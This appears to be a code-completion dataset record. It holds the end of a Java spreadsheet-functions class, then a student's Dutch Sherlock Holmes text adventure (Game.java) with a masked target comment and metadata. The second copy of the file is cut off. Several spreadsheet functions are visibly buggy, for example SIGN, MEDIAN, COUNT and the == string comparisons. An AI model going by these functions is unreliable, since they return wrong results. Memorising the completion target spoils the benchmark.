if(Double.parseDouble(cl.get(i).getContent()) < Double.parseDouble(minCell.getContent())){
minCell = cl.get(i);
}
}
return minCell.getContent();
}
//returns the cell containing the median of all input cells
public String MEDIAN(String in) throws Exception{
ArrayList<Cell> cl = debrij(in);
int halfOfCells = 0;
//check if all input cells are valid numbers
for(int i = 0; i < cl.size(); i++){
if(!cl.get(i).getContent().matches("\\d+")){
throw new Exception("Error: can only use numbers");
}
}
//check if even or odd number of cells,
//if even, take mean of middle two values
if(cl.size() % 2 == 0){
halfOfCells = (int)Math.floor(cl.size() / 2);
int leftCellValue = Integer.parseInt(cl.get(halfOfCells).getContent());
int rightCellValue = Integer.parseInt(cl.get(halfOfCells + 1).getContent());
int mean = (leftCellValue + rightCellValue) / 2;
String retString = "" + mean;
return retString;
}
//if odd, return middle value
if(cl.size() % 2 != 0){
halfOfCells = (int)Math.ceil(cl.size() / 2);
return cl.get(halfOfCells).getContent();
}
return null;
}
public String NOT(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1){
System.out.println("Geef 1 Cell in!");;
}
if(range.get(0).getContent() == "true" || range.get(0).getContent() == "false"){
return "true";
}
else{
return "false";
}
}
public String COUNT(String in)
{
ArrayList<Cell> range = debrij(in);
String result = "";
int c = 0;
for(int i = 0; i < range.size(); i++)
{
for (int j = 0; j < 10; j++)
{
if(range.get(i).getContent().charAt(j)+"" == "\\d+")
c++;
}
}
result = c + " ";
return result;
}
public String COUNTA(String in)
{
ArrayList<Cell> range = debrij(in);
String result = "";
int c = 0;
for(int i = 0; i < range.size(); i++)
{
Scanner sc = new Scanner(range.get(i).getContent());
if(sc.hasNext())
c++;
}
result = c + " ";
return result;
}
public String COUNTIF(String in)
{
ArrayList<Cell> range = debrij(in);
String result = "";
int c = 0;
for(int i = 0; i < range.size(); i++)
{
Scanner sc = new Scanner(range.get(i).getContent());
if(sc.hasNext())
c++;
}
result = c + " ";
return result;
}
public String PROPER(String in)
{
ArrayList<Cell> range = debrij(in);
String result = "";
for(int i = 0; i < range.size(); i++){
String[] words = range.get(i).getContent().split(" ");
for (int j = 0; j < words.length; j++)
{
result = result + words[j].replace(words[j].charAt(0)+"", Character.toUpperCase(words[j].charAt(0))+"") + " ";
}
}
return result;
}
public String SIGN(String in)
{
ArrayList<Cell> range = debrij(in);
int k = 0;
String result = "";
for(int i = 0; i < range.size(); i++){
if(Double.parseDouble(range.get(i).getContent()) > 0);
k = 1;
if(Double.parseDouble(range.get(i).getContent()) < 0);
k = -1;
if(Double.parseDouble(range.get(i).getContent()) == 0);
k = 0;
}
result = k + " ";
return result;
}
public String IF(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1){
return "false";
}
if(range.get(0).getContent() == "true" || range.get(0).getContent() == "false"){
return "true";
}
else{
return "false";
}
}
public String LOWER(String in)
{
ArrayList<Cell> range = debrij(in);
String s = "";
for(int i = 0; i < range.size(); i++){
s = s + Character.toLowerCase(range.get(0).getContent().charAt(i));
}
return s;
}
public String ROUNDDOWN(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1){
System.out.println("Geef 1 Cell in!");
}
int i = 0;
try
{
Scanner sc = new Scanner(range.get(0).getContent()).useDelimiter(",");
i = sc.nextInt();
}
catch(NumberFormatException e)
{
return "De ingegeven waarde is geen getal";
}
String s = i + " ";
return s;
}
public String ROUNDUP(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1){
System.out.println("Geef 1 Cell in!");
}
int i = 0;
try
{
Scanner sc = new Scanner(range.get(0).getContent()).useDelimiter(",");
i = sc.nextInt();
i++;
}
catch(NumberFormatException e)
{
return "De ingegeven waarde is geen getal";
}
String s = i + " ";
return s;
}
public String SQRT(String in)
{
double d = 0;
String result = "";
try{
ArrayList<Cell> range = debrij(in);
double getal = Double.parseDouble(range.get(0).getContent());
d = Math.sqrt(getal);
}
catch(NumberFormatException e)
{
System.out.println("# VALUE");
}
result = d + " ";
return result;
}
public String POWER(String in)
{
double d = 0;
String result = "";
try{
ArrayList<Cell> range = debrij(in);
double getal = Double.parseDouble(range.get(0).getContent());
double macht = Double.parseDouble(range.get(1).getContent());
d = Math.pow(getal, macht);
}
catch(NumberFormatException e)
{
System.out.println("# VALUE");
}
result = d + " ";
return result;
}
public String MOD(String in)
{
double d = 0;
String result = "";
try{
ArrayList<Cell> range = debrij(in);
double getal = Double.parseDouble(range.get(0).getContent());
double deler = Double.parseDouble(range.get(1).getContent());
d = getal % deler;
}
catch(NumberFormatException e)
{
System.out.println("# VALUE");
}
result = d + " ";
return result;
}
public String PRODUCT(String in)
{
ArrayList<Cell> range = debrij(in);
String result = "";
double getal = 1;
for(int i = 0; i < range.size(); i++)
{
try{
getal = getal * Double.parseDouble(range.get(0).getContent());
}
catch(NumberFormatException e)
{
System.out.println("# VALUE");
}
}
result = getal + " ";
return result;
}
public ArrayList<String> debrij(String in){
Scanner sc = new Scanner(in);
sc.useDelimiter(";");
ArrayList<String> a1 = new ArrayList<String>();
while (sc.hasNext())
{
a1.add(sc.next());
}
sc.close();
ArrayList<String> allString = new ArrayList<String>();
for (String a : a1){
Scanner sc2 = new Scanner(a);
sc2.useDelimiter(":");
//TODO Zorgen<SUF>
while(sc2.hasNext()){
allString.add(sc2.next());
}
sc2.close();
}
ArrayList<String> ret = new ArrayList<String>();
for (String a : allString){
Coordinates coor;
try {
coor = new Coordinates(a);
String contents = Spreadsheet.getContents(coor.getRow(), coor.getColumn());
ret.add(contents);
} catch (Exception e) {
e.printStackTrace();
}
}
return ret;
}
}
|
2245_61 | /**
* This class is the main class of the "World of Zuul" application.
* "World of Zuul" is a very simple, text based adventure game. Users
* can walk around some scenery. That's all. It should really be extended
* to make it more interesting!
*
* To play this game, create an instance of this class and call the "play"
* method.
*
* This main class creates and initialises all the others: it creates all
* rooms, creates the parser and starts the game. It also evaluates and
* executes the commands that the parser returns.
*
* @author Rico de Feijter, Marcellino van Hecke
* @version 1.0
*/
package sherlock.holmes;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
public class Game
{
/*
* Fields
*/
private Parser parser;
//private Room currentRoom;
//private int intCurrentRoom;
private ArrayList<Room> visitedRooms;
private XMLParser roomsXML;
private XMLParser itemsXML;
private HashMap<Integer, Room> rooms;
private Player player;
private Conversation conversation;
/**
* Constructor
*/
public Game() throws Exception
{
parser = new Parser();
player = new Player(); //Create player
rooms = new HashMap<Integer, Room>();//Create room storage
visitedRooms = new ArrayList<Room>();//Create visited rooms storage
//Get XML content for the rooms
roomsXML = new XMLParser();
roomsXML.setFilename("../rooms.xml");
roomsXML.runXMLConvert();
//Store all room data
createRooms();
//Get XML content for the items
itemsXML = new XMLParser();
itemsXML.setFilename("../items.xml");
itemsXML.runXMLConvert();
createItems();
player.setCurrentRoomID(1);
conversation = new Conversation();
}
/**
* Create all the rooms and link their exits together.
*/
private void createRooms()
{
//Create all rooms from XML file and set all properties
Map<Integer, HashMap<String, String>> parentMap = roomsXML.getXMLData();
Iterator<Map.Entry<Integer, HashMap<String, String>>> parentXML = parentMap.entrySet().iterator();
while (parentXML.hasNext())
{
Map.Entry<Integer, HashMap<String, String>> parentEntry = parentXML.next();
Map<String, String> map = parentEntry.getValue();
Iterator<Map.Entry<String, String>> entries = map.entrySet().iterator();
while (entries.hasNext())
{
Map.Entry<String, String> entry = entries.next();
//Create rom object if not already exists
if(!rooms.containsKey(parentEntry.getKey()))
{
rooms.put(parentEntry.getKey(), new Room());
}
rooms.get(parentEntry.getKey()).setRoomID(parentEntry.getKey());
if(entry.getKey().equals("room_building"))
{
//Set building ID where room is located
rooms.get(parentEntry.getKey()).setBuildingID(Integer.parseInt(entry.getValue()));
}else if(entry.getKey().equals("room_name"))
{
//Set room name
rooms.get(parentEntry.getKey()).setRoomName(entry.getValue());
}else if(entry.getKey().equals("description"))
{
//Set description for room
rooms.get(parentEntry.getKey()).setDescription(entry.getValue());
}else if(entry.getKey().equals("item_requirement"))
{
//Set description for room
rooms.get(parentEntry.getKey()).setItemRequirement(Integer.parseInt(entry.getValue()));
}
}
}
//Create exits for all the created rooms
Map<Integer, HashMap<String, String>> parentExitMap = roomsXML.getXMLData();
Iterator<Map.Entry<Integer, HashMap<String, String>>> parentExitXML = parentExitMap.entrySet().iterator();
while (parentExitXML.hasNext())
{
Map.Entry<Integer, HashMap<String, String>> parentEntry = parentExitXML.next();
Map<String, String> map = parentEntry.getValue();
Iterator<Map.Entry<String, String>> entries = map.entrySet().iterator();
while (entries.hasNext())
{
Map.Entry<String, String> entry = entries.next();
if(entry.getKey().equals("north") || entry.getKey().equals("east") || entry.getKey().equals("south") || entry.getKey().equals("west") || entry.getKey().equals("up") || entry.getKey().equals("down"))
{
String direction = "";
if(entry.getKey().equals("north"))
{
direction = "noord";
}else if(entry.getKey().equals("east"))
{
direction = "oost";
}else if(entry.getKey().equals("south"))
{
direction = "zuid";
}else if(entry.getKey().equals("west"))
{
direction = "west";
}else if(entry.getKey().equals("up"))
{
direction = "boven";
}else if(entry.getKey().equals("down"))
{
direction = "beneden";
}
//Get room object to set as exit
Room exit = rooms.get(Integer.parseInt(entry.getValue()));
//Set exits for a room
rooms.get(parentEntry.getKey()).setExit(direction, exit);
}
}
}
player.setCurrentRoom(rooms.get(1));//Starts the game in the first room
}
/**
* Create all items and set al properties
*/
private void createItems()
{
//Create all items from XML file and set all properties
Map<Integer, HashMap<String, String>> parentMap = itemsXML.getXMLData();
Iterator<Map.Entry<Integer, HashMap<String, String>>> parentXML = parentMap.entrySet().iterator();
int itemRoomID = 0;
while (parentXML.hasNext())
{
Map.Entry<Integer, HashMap<String, String>> parentEntry = parentXML.next();
Map<String, String> map = parentEntry.getValue();
Iterator<Map.Entry<String, String>> entries = map.entrySet().iterator();
Item currentItem = new Item();
while (entries.hasNext())
{
Map.Entry<String, String> entry = entries.next();
//Create item object if not already exists
if(currentItem.getItemID() != 0)
{
currentItem.setItemID(parentEntry.getKey());
}
if(entry.getKey().equals("item_room"))
{
//Set room ID where item is located
itemRoomID = Integer.parseInt(entry.getValue());
}else if(entry.getKey().equals("item_name"))
{
//Set item name
currentItem.setItemName(entry.getValue());
}else if(entry.getKey().equals("item_value"))
{
//Set item value
currentItem.setItemValue(Integer.parseInt(entry.getValue()));
//Add item object to room
rooms.get(itemRoomID).setItem(currentItem);
}
}
}
}
/**
* Sets player name
*/
public void setPlayerName()
{
player.setPlayerName(conversation.askQuestionInput("Hoe heet jij?"));
}
/**
* Main play routine. Loops until end of play.
*/
public void play()
{
setPlayerName();
printWelcome(player.getPlayerName());
// Enter the main command loop. Here we repeatedly read commands and
// execute them until the game is over.
boolean finished = false;
while (! finished) {
Command command = parser.getCommand();
finished = processCommand(command);
}
}
/**
* Print out the opening message for the player.
*/
private void printWelcome(String playername)
{
System.out.println();
System.out.println("Welkom " + playername + ", bij Sherlock Holmes en de Moord in het Bordeel.");
System.out.println();
System.out.println("Het is buiten slecht weer(London natuurlijk) en je krijgt een bericht van een");
System.out.println("koerier. Er is een moord gepleegd in het lokale bordeel om de hoek! Aan jou");
System.out.println("als Sherlock Holmes, de detective, om deze moord op te lossen. Om te starten");
System.out.println("moet je eerst naar het politie bureau toe gaan.");
System.out.println();
System.out.println("Type 'help' als je hulp nodig hebt.");
System.out.println();
System.out.println(rooms.get(player.getCurrentRoomID()).getLongDescription(player.getInventory()));
}
/**
* Given a command, process (that is: execute) the command.
* @param command The command to be processed.
* @return boolean
*/
private boolean processCommand(Command command)
{
if(command.isUnknown()) {
System.out.println("Ik weet niet wat je bedoelt...");
return false;
}
String commandWord = command.getCommandWord();
if (commandWord.equals("help")) {
printHelp();
}
else if (commandWord.equals("drink")) {
teaTime(command);
}
else if (commandWord.equals("ga")) {
goRoom(command);
}else if (commandWord.equals("kijk")) {
lookInRoom();
}
else if (commandWord.equals("pak")) {
pickupItem(command);
}
else if (commandWord.equals("tas")) {
showInventory();
}
else if (commandWord.equals("verwijder")) {
askRemoveInventoryItem(command);
}
else if (commandWord.equals("locatie")) {
beamPlayer(command);
}
else if (commandWord.equals("uitgangen")) {
showExits();
}
else if (commandWord.equals("stoppen")) {
askQuit();
}
// else command not recognised.
return false;
}
/**
* Print out some help information.
* Here we print some stupid, cryptic message and a list of the
* command words.
*/
private void printHelp()
{
System.out.println("Je hebt om hulp gevraagd? En dat voor een detective?");
System.out.println("Jij stelt ook niet veel voor als je hulp nodig hebt..");
System.out.println();
System.out.println("Je commando woorden zijn:");
parser.showCommands();
}
/*
* Drink tea to get a usefull hint
* @param command The command to be processed
*/
public void teaTime(Command command)
{
if(!command.hasSecondWord()) {
// if there is no second word, we don't know where to go...
System.out.println("Wat drinken?");
return;
}
if(command.getSecondWord().equals("thee"))
{
if(player.getTeaTime() == false)
{
player.setTeaTime(true);
System.out.println("Je krijgt een helder moment en je herinnerd je dat je je pistool bent vergeten");
System.out.println("in je slaapkamer. En dat er een shank ligt in het cellencomplex, omdat je");
System.out.println("gisteren een gevangene bezig zag met een tandenborstel. Daarnaast herinner");
System.out.println("je je ook weer dat je Engelse thee niet te zuipen vindt!");
}else
{
System.out.println("Alweer thee luie donder?!");
}
}else
{
System.out.println("Sorry, niet in voorraad. C1000 hebben we niet in Engeland, dus verdroog maar.");
}
}
/*
* Beam player to other room
* @param command The command to be processed.
*/
public void beamPlayer(Command command)
{
if(!command.hasSecondWord()) {
// if there is no second word, we don't know what to do
System.out.println("Wat doen?");
return;
}
if(command.getSecondWord().equals("ga"))
{
if(player.getPlayerBeamerLocation() == 0)
{
System.out.println("Je kunt nergens naartoe gaan, want je hebt geen locatie opgeslagen!");
}else if(player.getPlayerBeamerLocation() == player.getCurrentRoomID())
{
System.out.println("Waarom wil je naar deze locatie? Je bent er al!");
}else
{
System.out.println("Er komen 3 travestieten aangerend, die pakken je op en die sleuren mee. De");
System.out.println("Crimson Chin is er niets bij, owh wacht die bestaat nog niet.");
beamRoom(player.getPlayerBeamerLocation());
}
}
if(command.getSecondWord().equals("opslaan"))
{
System.out.println("Locatie opgeslagen!");
player.setPlayerBeamerLocation(player.getCurrentRoomID()); //Save player location
}
}
/*
* @param int to select the room where the player wants to go
*/
public void beamRoom(int roomID)
{
player.setCurrentRoom(rooms.get(roomID));
player.setCurrentRoomID(player.getCurrentRoom().getRoomID());
//Remove last room from ArrayList
visitedRooms.clear();
System.out.println(rooms.get(player.getCurrentRoomID()).getLongDescription(player.getInventory()));
}
/**
* Try to go to one direction. If there is an exit, enter the new
* room, otherwise print an error message.
* @param command The command to be processed
*/
private void goRoom(Command command)
{
if(!command.hasSecondWord()) {
// if there is no second word, we don't know where to go...
System.out.println("Waar naar toe?");
return;
}
if(command.getSecondWord().equals("terug"))
{
Room lastRoom = null;
if(visitedRooms.size() >= 1)
{
lastRoom = visitedRooms.get(visitedRooms.size()-1);
}
if(lastRoom == rooms.get(player.getCurrentRoomID()) || lastRoom == null)
{
System.out.println("Je kunt niet verder terug gaan!");
}else
{
player.setCurrentRoom(lastRoom);
player.setCurrentRoomID(player.getCurrentRoom().getRoomID());
//Remove last room from ArrayList
visitedRooms.remove(visitedRooms.size()-1);
System.out.println(rooms.get(player.getCurrentRoomID()).getLongDescription(player.getInventory()));
}
}else
{
String direction = command.getSecondWord();
// Try to leave current room.
Room nextRoom = rooms.get(player.getCurrentRoomID()).getExit(direction);
if (nextRoom == null) {
System.out.println("Er is geen deur!");
}
else {
if(nextRoom.getItemRequirement() != 0)
{
boolean requiredItem = false;
for (Iterator inventoryIterator = player.getInventory().iterator(); inventoryIterator.hasNext();) {
Item inventoryItem = (Item) inventoryIterator.next();
if(inventoryItem.getItemID() == player.getCurrentRoom().getItemRequirement())
{
requiredItem = true;
}
}
if(requiredItem == true)
{
visitedRooms.add(player.getCurrentRoom()); //Add current room to visited rooms
player.setCurrentRoom(nextRoom);//Make next room current room
player.setCurrentRoomID(player.getCurrentRoom().getRoomID());
System.out.println(rooms.get(player.getCurrentRoomID()).getLongDescription(player.getInventory()));
}else
{
System.out.println("Je hebt het vereiste voorwerp niet in je bezit om de deur te openen!");
}
}else
{
visitedRooms.add(player.getCurrentRoom()); //Add current room to visited rooms
player.setCurrentRoom(nextRoom);//Make next room current room
player.setCurrentRoomID(player.getCurrentRoom().getRoomID());
System.out.println(rooms.get(player.getCurrentRoomID()).getLongDescription(player.getInventory()));
}
}
}
}
/**
* Compare room and inventory items with each other.
* When a room item compares with a inventory item
* it will be removed from the currentRoomItems
* ArrayList to prevent already picked up items
* to be displayed when looking or when trying
* to pick it up.
*/
public void compareRoomInventoryItems()
{
int ArrayListID = 0;
if(player.getInventorySize() > 0)
{
for (Iterator it = rooms.get(player.getCurrentRoomID()).getItems().iterator(); it.hasNext();)
{
Item roomItem = (Item) it.next();
for (Iterator inventoryIterator = player.getInventory().iterator(); inventoryIterator.hasNext();) {
Item inventoryItem = (Item) inventoryIterator.next();
if(inventoryItem.getItemName().equals(roomItem.getItemName()))
{
it.remove(); //If room item compares with inventory item remove it
}
}
ArrayListID++;
}
}
}
/**
* Look for items in the current room
*/
public void lookInRoom()
{
int itemNumber = 1;
String printString = "";
//Compare room and inventory items again
compareRoomInventoryItems();
for (Iterator it = rooms.get(player.getCurrentRoomID()).getItems().iterator(); it.hasNext();)
{
Item roomItem = (Item) it.next();
printString += itemNumber + ": " + roomItem.getItemName() + "\n";
itemNumber++;
}
//Cut of last new line
if(printString.length() > 0)
{
printString = printString.substring(0, printString.lastIndexOf("\n"));
}else
{
printString = "Er zijn geen voorwerpen in deze kamer.";
}
System.out.println(printString);
}
/**
* Pickup specific item
* @param Command The command to be processed
*/
public void pickupItem(Command command)
{
int itemNumber;
//Check if the player has less than 4 items
if(player.getInventorySize() < 4)
{
if(!command.hasSecondWord()) {
// if there is no second word, we don't know what to pick up
System.out.println("Wat oppakken?");
return;
}
//Try if input if numeric
try {
itemNumber = Integer.parseInt(command.getSecondWord()) - 1;
//Compare room and inventory items again
compareRoomInventoryItems();
if(rooms.get(player.getCurrentRoomID()).getItems().size() > itemNumber)
{
//Get Item object
Item pickupItem = rooms.get(player.getCurrentRoomID()).getItem(itemNumber);
//Add item to inventory
player.addItem(pickupItem);
System.out.println("Het voorwerp '" + pickupItem.getItemName() + "' zit nu in je tas.");
//Compare room and inventory items again
compareRoomInventoryItems();
}else
{
System.out.println("Voorwerp bestaat niet!");
}
}catch(Exception e)
{
System.out.println("Het item wat je opgaf is ongeldig, dit moet numeriek zijn!");
}
}else
{
System.out.println("Je hebt ruimte voor maar 4 items! Wil je iets oppakken? Dan zul je toch echt");
System.out.println("iets moeten laten vallen " + player.getPlayerName() + " !");
}
}
/**
* Show players inventory
*/
public void showInventory()
{
if(player.getInventorySize() > 0)
{
String printString = "Je tas bevat de volgende voorwerpen" + "\n";
int itemNumber = 1;
for (Iterator it = player.getInventory().iterator(); it.hasNext();) {
Item roomItem = (Item) it.next();
if(roomItem.getItemValue() == 1)
{
printString += itemNumber + ": " + roomItem.getItemName() + " (Quest item)" + "\n";
}else
{
printString += itemNumber + ": " + roomItem.getItemName() + "\n";
}
itemNumber++;
}
//Cut of last new line
printString = printString.substring(0, printString.lastIndexOf("\n"));
System.out.println(printString);
}else
{
System.out.println("Je tas is leeg!");
}
}
/**
* Aks if the player is sure he or she wants to remove the
* inventory item in case there is a second word.
* @param Command The inserted command
*/
public void askRemoveInventoryItem(Command command)
{
int inventoryItem;
if(!command.hasSecondWord()) {
// if there is no second word, we don't know what to remove
System.out.println("Verwijder wat?");
return;
}
//Try if input if numeric
try {
inventoryItem = Integer.parseInt(command.getSecondWord()) - 1;
if(inventoryItem <= player.getInventorySize())
{
if(player.getInventoryItem(inventoryItem).getItemValue() == 0)
{
checkRemoveInventoryItem(conversation.askQuestionInput("Weet je zeker dat je wilt " + player.getInventoryItem(inventoryItem).getItemName() + " verwijderen? ja/nee"), inventoryItem);
}else
{
System.out.println("Je kunt dit voorwerp niet weg gooien, quest voorwerp!");
}
}else
{
System.out.println("Item wat je wil verwijderen bestaat niet..");
}
}catch(Exception e)
{
System.out.println("Het item wat je opgaf is ongeldig, dit moet numeriek zijn!");
}
}
/**
* @param String The players input answer
* @param int The item ID from the item the player wants to remove
*/
public void checkRemoveInventoryItem(String answer, int itemID)
{
if(answer.equals("ja"))
{
System.out.println(player.getInventoryItem(itemID).getItemName() + " is verwijderd!");
removeInventoryItem(itemID);
}else if(answer.equals("nee"))
{
System.out.println("Wat jij wil..");
}
}
/**
* Remove the specified item from the players inventory
* @param int The inventory item ID
*/
public void removeInventoryItem(int itemID)
{
Item removableItem = player.getInventoryItem(itemID);
//When an item is dropped add item to current room
rooms.get(player.getCurrentRoomID()).setItem(removableItem);
//Remove item from inventory
player.removeItem(itemID);
//Compare room and inventory items again
compareRoomInventoryItems();
}
/**
* Print all room exits
*/
public void showExits()
{
System.out.println(rooms.get(player.getCurrentRoomID()).getExitsString(player.getInventory()));
}
/**
* Asks the user if he/she wants to quit the game
*/
public void askQuit()
{
checkQuit(conversation.askQuestionInput("Weet je zeker dat je wilt stoppen? ja/nee"));
}
/**
* Asks for user input again
*/
public void askQuitAgain()
{
checkQuit(conversation.askInput());
}
/**
* Check if user really wants to quit the game
* @param String User input
*/
private void checkQuit(String answer)
{
if(answer.equals("ja"))
{
quit();
}else if(answer.equals("nee"))
{
System.out.println("Wat jij wil..");
}else
{
System.out.println("Is het nou zo moeilijk om ja of nee te antwoorden?");
askQuitAgain();
}
}
/**
* Quit the game and print message for 5 seconds
*/
private void quit()
{
try{
System.out.println("Het lukte gewoon niet om het spel af te maken?");
System.out.println("Geef maar toe! Bedankt voor het spelen en tot ziens.");
Thread.sleep(5000);//sleep for 5 seconds
System.exit(0); // signal that we want to quit
}
catch(Exception error){
System.err.println(error);
}
}
/*
* Main method tot start the game
* @param String[]
*/
public static void main(String[] args)throws Exception
{
Game game = new Game();
game.play();
try{
}catch(Exception e){
System.err.println("Er heeft zich een ernstige fout voorgedaan waardoor het spel niet meer functioneert.");
}
}
} | mvhecke/World-of-Zuul | src/sherlock/holmes/Game.java | 7,537 | //Get Item object
| line_comment | nl | /**
* This class is the main class of the "World of Zuul" application.
* "World of Zuul" is a very simple, text based adventure game. Users
* can walk around some scenery. That's all. It should really be extended
* to make it more interesting!
*
* To play this game, create an instance of this class and call the "play"
* method.
*
* This main class creates and initialises all the others: it creates all
* rooms, creates the parser and starts the game. It also evaluates and
* executes the commands that the parser returns.
*
* @author Rico de Feijter, Marcellino van Hecke
* @version 1.0
*/
package sherlock.holmes;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
public class Game
{
/*
* Fields
*/
private Parser parser;
//private Room currentRoom;
//private int intCurrentRoom;
private ArrayList<Room> visitedRooms;
private XMLParser roomsXML;
private XMLParser itemsXML;
private HashMap<Integer, Room> rooms;
private Player player;
private Conversation conversation;
/**
* Constructor
*/
public Game() throws Exception
{
parser = new Parser();
player = new Player(); //Create player
rooms = new HashMap<Integer, Room>();//Create room storage
visitedRooms = new ArrayList<Room>();//Create visited rooms storage
//Get XML content for the rooms
roomsXML = new XMLParser();
roomsXML.setFilename("../rooms.xml");
roomsXML.runXMLConvert();
//Store all room data
createRooms();
//Get XML content for the items
itemsXML = new XMLParser();
itemsXML.setFilename("../items.xml");
itemsXML.runXMLConvert();
createItems();
player.setCurrentRoomID(1);
conversation = new Conversation();
}
/**
* Create all the rooms and link their exits together.
*/
private void createRooms()
{
//Create all rooms from XML file and set all properties
Map<Integer, HashMap<String, String>> parentMap = roomsXML.getXMLData();
Iterator<Map.Entry<Integer, HashMap<String, String>>> parentXML = parentMap.entrySet().iterator();
while (parentXML.hasNext())
{
Map.Entry<Integer, HashMap<String, String>> parentEntry = parentXML.next();
Map<String, String> map = parentEntry.getValue();
Iterator<Map.Entry<String, String>> entries = map.entrySet().iterator();
while (entries.hasNext())
{
Map.Entry<String, String> entry = entries.next();
//Create rom object if not already exists
if(!rooms.containsKey(parentEntry.getKey()))
{
rooms.put(parentEntry.getKey(), new Room());
}
rooms.get(parentEntry.getKey()).setRoomID(parentEntry.getKey());
if(entry.getKey().equals("room_building"))
{
//Set building ID where room is located
rooms.get(parentEntry.getKey()).setBuildingID(Integer.parseInt(entry.getValue()));
}else if(entry.getKey().equals("room_name"))
{
//Set room name
rooms.get(parentEntry.getKey()).setRoomName(entry.getValue());
}else if(entry.getKey().equals("description"))
{
//Set description for room
rooms.get(parentEntry.getKey()).setDescription(entry.getValue());
}else if(entry.getKey().equals("item_requirement"))
{
//Set description for room
rooms.get(parentEntry.getKey()).setItemRequirement(Integer.parseInt(entry.getValue()));
}
}
}
//Create exits for all the created rooms
Map<Integer, HashMap<String, String>> parentExitMap = roomsXML.getXMLData();
Iterator<Map.Entry<Integer, HashMap<String, String>>> parentExitXML = parentExitMap.entrySet().iterator();
while (parentExitXML.hasNext())
{
Map.Entry<Integer, HashMap<String, String>> parentEntry = parentExitXML.next();
Map<String, String> map = parentEntry.getValue();
Iterator<Map.Entry<String, String>> entries = map.entrySet().iterator();
while (entries.hasNext())
{
Map.Entry<String, String> entry = entries.next();
if(entry.getKey().equals("north") || entry.getKey().equals("east") || entry.getKey().equals("south") || entry.getKey().equals("west") || entry.getKey().equals("up") || entry.getKey().equals("down"))
{
String direction = "";
if(entry.getKey().equals("north"))
{
direction = "noord";
}else if(entry.getKey().equals("east"))
{
direction = "oost";
}else if(entry.getKey().equals("south"))
{
direction = "zuid";
}else if(entry.getKey().equals("west"))
{
direction = "west";
}else if(entry.getKey().equals("up"))
{
direction = "boven";
}else if(entry.getKey().equals("down"))
{
direction = "beneden";
}
//Get room object to set as exit
Room exit = rooms.get(Integer.parseInt(entry.getValue()));
//Set exits for a room
rooms.get(parentEntry.getKey()).setExit(direction, exit);
}
}
}
player.setCurrentRoom(rooms.get(1));//Starts the game in the first room
}
/**
* Create all items and set al properties
*/
private void createItems()
{
//Create all items from XML file and set all properties
Map<Integer, HashMap<String, String>> parentMap = itemsXML.getXMLData();
Iterator<Map.Entry<Integer, HashMap<String, String>>> parentXML = parentMap.entrySet().iterator();
int itemRoomID = 0;
while (parentXML.hasNext())
{
Map.Entry<Integer, HashMap<String, String>> parentEntry = parentXML.next();
Map<String, String> map = parentEntry.getValue();
Iterator<Map.Entry<String, String>> entries = map.entrySet().iterator();
Item currentItem = new Item();
while (entries.hasNext())
{
Map.Entry<String, String> entry = entries.next();
//Create item object if not already exists
if(currentItem.getItemID() != 0)
{
currentItem.setItemID(parentEntry.getKey());
}
if(entry.getKey().equals("item_room"))
{
//Set room ID where item is located
itemRoomID = Integer.parseInt(entry.getValue());
}else if(entry.getKey().equals("item_name"))
{
//Set item name
currentItem.setItemName(entry.getValue());
}else if(entry.getKey().equals("item_value"))
{
//Set item value
currentItem.setItemValue(Integer.parseInt(entry.getValue()));
//Add item object to room
rooms.get(itemRoomID).setItem(currentItem);
}
}
}
}
/**
* Sets player name
*/
public void setPlayerName()
{
player.setPlayerName(conversation.askQuestionInput("Hoe heet jij?"));
}
/**
* Main play routine. Loops until end of play.
*/
public void play()
{
setPlayerName();
printWelcome(player.getPlayerName());
// Enter the main command loop. Here we repeatedly read commands and
// execute them until the game is over.
boolean finished = false;
while (! finished) {
Command command = parser.getCommand();
finished = processCommand(command);
}
}
/**
* Print out the opening message for the player.
*/
private void printWelcome(String playername)
{
System.out.println();
System.out.println("Welkom " + playername + ", bij Sherlock Holmes en de Moord in het Bordeel.");
System.out.println();
System.out.println("Het is buiten slecht weer(London natuurlijk) en je krijgt een bericht van een");
System.out.println("koerier. Er is een moord gepleegd in het lokale bordeel om de hoek! Aan jou");
System.out.println("als Sherlock Holmes, de detective, om deze moord op te lossen. Om te starten");
System.out.println("moet je eerst naar het politie bureau toe gaan.");
System.out.println();
System.out.println("Type 'help' als je hulp nodig hebt.");
System.out.println();
System.out.println(rooms.get(player.getCurrentRoomID()).getLongDescription(player.getInventory()));
}
/**
* Given a command, process (that is: execute) the command.
* @param command The command to be processed.
* @return boolean
*/
private boolean processCommand(Command command)
{
if(command.isUnknown()) {
System.out.println("Ik weet niet wat je bedoelt...");
return false;
}
String commandWord = command.getCommandWord();
if (commandWord.equals("help")) {
printHelp();
}
else if (commandWord.equals("drink")) {
teaTime(command);
}
else if (commandWord.equals("ga")) {
goRoom(command);
}else if (commandWord.equals("kijk")) {
lookInRoom();
}
else if (commandWord.equals("pak")) {
pickupItem(command);
}
else if (commandWord.equals("tas")) {
showInventory();
}
else if (commandWord.equals("verwijder")) {
askRemoveInventoryItem(command);
}
else if (commandWord.equals("locatie")) {
beamPlayer(command);
}
else if (commandWord.equals("uitgangen")) {
showExits();
}
else if (commandWord.equals("stoppen")) {
askQuit();
}
// else command not recognised.
return false;
}
/**
* Print out some help information.
* Here we print some stupid, cryptic message and a list of the
* command words.
*/
private void printHelp()
{
System.out.println("Je hebt om hulp gevraagd? En dat voor een detective?");
System.out.println("Jij stelt ook niet veel voor als je hulp nodig hebt..");
System.out.println();
System.out.println("Je commando woorden zijn:");
parser.showCommands();
}
/*
* Drink tea to get a usefull hint
* @param command The command to be processed
*/
public void teaTime(Command command)
{
if(!command.hasSecondWord()) {
// if there is no second word, we don't know where to go...
System.out.println("Wat drinken?");
return;
}
if(command.getSecondWord().equals("thee"))
{
if(player.getTeaTime() == false)
{
player.setTeaTime(true);
System.out.println("Je krijgt een helder moment en je herinnerd je dat je je pistool bent vergeten");
System.out.println("in je slaapkamer. En dat er een shank ligt in het cellencomplex, omdat je");
System.out.println("gisteren een gevangene bezig zag met een tandenborstel. Daarnaast herinner");
System.out.println("je je ook weer dat je Engelse thee niet te zuipen vindt!");
}else
{
System.out.println("Alweer thee luie donder?!");
}
}else
{
